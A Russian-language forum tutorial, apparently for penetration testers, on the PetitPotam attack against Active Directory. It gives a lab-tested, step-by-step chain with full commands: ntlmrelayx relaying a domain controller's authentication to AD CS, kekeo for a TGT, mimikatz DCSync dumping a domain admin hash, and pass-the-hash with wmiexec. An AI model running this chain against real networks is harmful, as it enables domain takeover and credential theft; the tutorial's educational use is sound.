Захват контроллера домена с помощью атаки PetitPotam

Kate

Administrator
Команда форума
В этой статье я расскажу про атаку PetitPotam, которая позволяет при определенных условиях захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его в службу Active Directory Certificate Services для повышения привилегий. Статья предназначена для пентестеров и тех, кто хочет узнать об актуальных атаках на Active Directory.

О PetitPotam​

Данная уязвимость была открыта исследователем безопасности Лионелем Жилль (Gilles Lionel) 18-го июля 2021 г. Атака PetitPotam позволяет контроллеру домена аутентифицироваться на любом удаленном сервере. Это достигается за счет использования метода EfsRpcOpenFileRaw протокола MS-EFSRPC, который заставляет учетную запись компьютера аутентифицироваться в другой системе.

Протокол EFSRPC используется для операций обслуживания и управления зашифрованными данными, которые хранятся удаленно и доступны по сети.

C помощью PetitPotam можно заставить контроллер домена инициировать процесс аутентификации на сервере, который находится под контролем злоумышленника, и поделиться с ним значением NTLM-хэша. С помощью полученных данных злоумышленник может провести атаку NTLM-relay.

Коротко о NTLM-relay
Суть атаки NTLM-relay сводится к тому, чтобы вмешаться в процесс аутентификации по протоколу NTLM и получить доступ к стороннему ресурсу с привилегиями атакуемого пользователя, передав ему NTLM-хэш пользователя или сервиса, который пытается аутентифицироваться. Атака может быть реализована в отношении любого протокола, поддерживающего NTLM-аутентификацию (SMB, HTTP, LDAP и т.д.).
https://en.hackndo.com/ntlm-relay/#authentication-vs-session
Используя атаку PetitPotam, атакующий может повысить свои привилегии до администратора домена. Для успешного проведения атаки необходимо, чтобы:

  1. У атакующего был доступ к внутренней сети
  2. В Active Directory Certificate Services (AD CS) была активирована опция Web Enrollment
Служба AD CS может быть установлена в качестве роли на контроллере домена (Domain Controller), либо на отдельном сервере, который входит в этот домен.

Таким образом злоумышленник ретранслирует NTLM-хэш контроллера домена в службу Web Enrollment AD CS (Active Directory Certificate Services) и запрашивает сертификат от имени контроллера домена. Затем этот сертификат используется для запроса TGT (Ticket Granting Ticket).

Коротко о TGT
После прохождения успешной аутентификации пользователем, центр распределения ключей выдает первичное удостоверение для доступа к сетевым ресурсам — Ticket Granting Ticket. Если данный билет подписать доменной учетной записью Kerberos (krbtgt), то билет будет "золотым" (Golden Ticket), что позволит пользователю аутентифицироваться на любом сервере в этом домене.
Далее мы рассмотрим алгоритм действий для атаки.

Схема атаки​

Атака была протестирована на Windows Server 2019. Версия ОС 10.0.17763
  1. Запустим ntlmrelayx, чтобы ретранслировать аутентификационные данные контроллера домена в AD CS
  2. Запустим PetitPotam, чтобы инициировать NTLM-аутентификацию контроллера домена c подконтрольным атакующему сервером (ntlmrelayx)
  3. Получим сертификат PKCS12 в base64 формате
  4. Импортируем сертификат в kekeo (для запроса TGT).
  5. Запустим mimikatz для дампа SAM секретов для выбранного пользователя
  6. Запустим атаку Pass-the-hash
Для демонстрации атаки была развернута следующая инфраструктура:

  • 192.168.0.123 - AD CS (Windows Server 2019)
  • 192.168.0.122 - Контроллер домена (Windows Server 2019)
  • 192.168.0.124 - NTLM-listener (Kali linux)
a7163b711b1727a50e28ac59921bd70e.png

Шаг 1. Запуск ntlmrelayx​

Подготовка
git clone https://github.com/ExAndroidDev/impacket.git
sudo pip3 uninstall impacket
sudo pip uninstall impacket
sudo pip3 install -r requirements.txt
sudo python3 setup.py install
sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.0.123/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
Чтобы ntlmrelayx ретранслировал NTLM-хэш контроллера домена в AD CS, используем шаблон KerberosAuthentication, но также можно использовать шаблон DomainControllers.

9ab758cc997a9394f61d1f874c8820b1.jpeg

Если перейти на https://192.168.0.123/certsrv/certfnsh.asp, то увидим форму аутентификации.

79c6f53becebd84cfc51de1391bc058c.png

Шаг 2. PetiPotam​

Подготовка
python3 Petitpotam.py 192.168.0.124 192.168.0.122
Пока ntlmrelayx находится в ожидании соединений, инициируем с помощью PetitPotam NTLM аутентификацию контроллера домена c подконтрольным атакующему сервером для последующей ретрансляцией NTLM-хэша в AD CS.

f837961448bcfa11984938a0e063a505.jpeg

Шаг 3. Сертификат PKCS12​

На машине с запущенным ntlmrelayx получаем сертификат PKCS12 в base64, который зарегистрирован в AD CS от имени контроллера домена.

9447a6b96d0f77a860ad3aa0b3d15af5.jpeg

Этот сертификат можно использовать для получения TGT в службе аутентификации Kerberos.

Шаг 4. Import PKCS12 to kekeo​

Подготовка
curl [https://github.com/gentilkiwi/kekeo...o/releases/download/2.2.0-20210723/kekeo.zip) -o kekeo.zip
tar -xf .\kekeo.zip
Данный сертификат импортируем в kekeo.

.\kekeo.exe
base64 /input:eek:n
tgt::ask /pfx:<base64 сертификат из шага 3> /user:<указать юзера из шага 3> /domain:<название домена> /ptt
9960c857697bc4506624a11e5ff718fa.jpg

Шаг 5. Mimikatz​

Подготовка
curl [https://github.com/gentilkiwi/mimik...s/download/2.2.0-20210724/mimikatz_trunk.zip) -o mimikatz.zip
tar -xf mimikatz.zip
.\mimikatz.exe
lsadump::dcsync /domain:<название домена> /user:<укажите любого пользователя>
Теперь у нас есть TGT, который мы можем использовать, чтобы аутентифицироваться на любом хосте в домене. С помощью него мы можем получить NTLM-хэш любого пользователя домена с контроллера домена.

С помощью mimikatz сдампим NTLM-хэш пользователя adm, который является доменным администратором.

mimikatz # lsadump::dsync /domain:DEITERIY.LAB /user:adm
2019f545e70819ab432b7473fe9a2c00.jpeg

Шаг 6. Pass-the-hash​

С помощью Pass-the-hash аутентифицируемся на любом хосте, например на контроллере домена.

wmiexec.exe -hashes :ntlm DEITERIY/adm@192.168.0.122
aa7b3469a06f858c7f556ffc25d6c4b6.jpeg

Заключение​

Вот таким образом за несколько действий можно повысить свои привилегии до администратора домена. Стоит отметить, что атаки, основанные на NTLM-relay, существуют давно, но атака PetitPotam выделяется на их фоне, так как не требует учетных данных и не требует взаимодействия пользователя для инициирования аутентификации контроллером домена на сервере злоумышленника.

О мерах предосторожности, рекомендованных компанией Microsoft, можно прочитать по ссылке: https://support.microsoft.com/en-gb...es-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

В качестве дополнительных материалов рекомендую ознакомиться со статьями:


 
Сверху